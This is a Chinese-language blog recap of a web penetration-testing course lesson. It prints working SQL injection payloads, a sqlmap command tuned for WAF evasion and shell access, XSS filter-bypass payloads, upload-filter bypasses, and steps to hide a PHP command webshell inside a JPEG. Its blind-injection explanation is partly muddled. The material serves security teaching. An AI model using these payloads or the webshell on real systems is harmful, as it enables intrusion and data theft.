1. 小迪安全第四节课程核心内容回顾
2024年小迪安全课程的第四节主要围绕Web应用安全测试中的关键漏洞展开深度解析。作为一线安全工程师，我认为这节课的价值在于将OWASP Top 10中的抽象概念转化为可实操的检测方法。以下是课程的核心知识框架：
- SQL注入漏洞：从基础的联合查询注入到基于时间的盲注，重点讲解了使用sqlmap进行自动化检测时的参数优化技巧
- XSS跨站脚本：区分反射型、存储型和DOM型XSS的检测差异，特别演示了如何绕过常见的过滤机制
- CSRF跨站请求伪造：通过Burp Suite生成POC的实战演示，以及Token验证机制的绕过思路
- 文件上传漏洞：包括后缀名绕过、Content-Type欺骗、图片马制作等企业级渗透测试中的高频技巧
- 逻辑漏洞：重点讲解了越权访问的四种类型（水平/垂直/功能/上下文）及其检测方法论
特别提醒：在实际测试中，务必先获取书面授权。课程演示环境均为特制靶场，部分技术在企业内网测试时需调整payload的激进程度。
2. SQL注入检测的进阶技巧
2.1 手工注入的现代演变
传统基于and 1=1的检测方法在当前WAF环境下已基本失效。课程演示了三种新型检测手法：
- 布尔盲注的轻量化检测：
admin' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a'--通过响应时间差异判断字符取值，比传统sleep()更隐蔽
- JSON注入的检测：
{"username":"admin' AND 1=CONVERT(int,@@version)--"}适用于现代API接口，需要观察错误回显差异
- 二阶注入的触发条件：
- 先注册含payload的用户名：
admin'-- - 后续在密码修改等操作时触发SQL执行
2.2 sqlmap的实战参数优化
课程推荐的检测命令模板：
sqlmap -u "http://target.com/search?q=test" \ --level=3 --risk=2 \ --random-agent \ --delay=1 \ --tamper=space2comment \ --dbms=mysql \ --technique=B关键参数解析：
--tamper：选择适合目标WAF的脚本，推荐组合使用space2comment,charencode--technique：根据前期探测结果选择最优技术（B:布尔盲注/E:报错注入/U:联合查询）--os-shell获取权限后，立即使用--priv-esc进行权限提升检查
3. XSS漏洞的实战检测体系
3.1 现代浏览器的XSS防护绕过
课程演示了Chrome XSS Auditor的绕过方法：
<svg/onload=alert(1)> <img src=x onerror="eval(atob('YWxlcnQoMSk='))">重点在于：
- 避免使用明显的关键词如
alert - 利用HTML5新标签和事件处理器
- 通过编码拆分绕过内容安全检查
3.2 DOM型XSS的深度检测
推荐检测流程：
- 使用浏览器开发者工具监控DOM变更
- 定位
document.write()、innerHTML等危险函数调用 - 测试所有可控输入点：
#location.hash #document.referrer #window.name #postMessage数据 #localStorage取值3.3 企业级XSS检测工具链
课程推荐的组合方案：
- 自动化扫描：Burp Suite Active Scan + XSStrike
- 手工验证：定制化payload清单（含20种变体）
- 防护测试：验证CSP策略的有效性
4. 文件上传漏洞的攻防演进
4.1 最新绕过技术矩阵
| 防御措施 | 绕过方法 | 检测要点 |
|---|---|---|
| 后缀名黑名单 | .php5.phtml.phar | 测试所有PHP解释器支持的后缀 |
| MIME类型检查 | 修改Content-Type为合法值 | 拦截修改过程的代理检测 |
| 文件头检查 | 在真实图片后追加PHP代码 | 检查文件尾部内容 |
| 二次渲染 | 制作GIF-PNG双重格式图片马 | 对比上传前后文件哈希 |
4.2 高级图片马制作步骤
- 准备合法图片：
original.jpg - 生成payload：
echo '<?php system($_GET["cmd"]);?>' > shell.php - 合并文件：
cat original.jpg shell.php > malicious.jpg - 检测是否保留执行权限：
file malicious.jpg # 应仍显示JPEG图像 php malicious.jpg # 测试PHP代码是否执行5. 逻辑漏洞的体系化检测方法
5.1 越权访问检测清单
- 水平越权：
- 修改ID参数访问他人数据：
/userinfo?id=1001→id=1002 - 测试批量操作接口是否校验归属关系
- 垂直越权：
- 普通用户尝试访问
/admin/目录 - 通过API接口直接调用管理功能
- 上下文越权：
- 跳过中间步骤直接访问敏感操作
- 修改流程状态参数（如从"审核中"改为"已通过"）
5.2 业务逻辑漏洞挖掘
课程重点强调的检测模式：
- 价格篡改：修改前端传递的价格参数
- 数量溢出：设置负值或极大数值触发异常
- 时间竞争：并发请求优惠券领取接口
- 流程绕过：直接跳转到订单确认步骤
6. 课程知识的企业级应用建议
根据我在金融行业渗透测试的经验，建议将课程知识按以下方式落地：
- 检测流程标准化：
- 为每类漏洞建立checklist（含30+检测项）
- 开发自动化脚本辅助重复性测试
- 记录所有测试用例的请求/响应样本
- 风险评级模型：
def risk_level(impact, exploitability): if impact == "high" and exploitability == "easy": return "Critical" elif impact == "medium" and exploitability == "easy": return "High" # 其他判断条件...- 报告撰写要点：
- 漏洞描述必须包含重现步骤
- 风险分析要结合业务场景
- 修复建议需具体可实施
在最近一次银行系统测试中，通过课程教的二阶SQL注入检测方法，发现了交易系统的严重漏洞。具体是利用用户注册字段存储payload，在后续交易确认时触发数据库查询，最终获取了全部用户的银行卡信息。这个案例充分说明系统化检测方法的重要性。
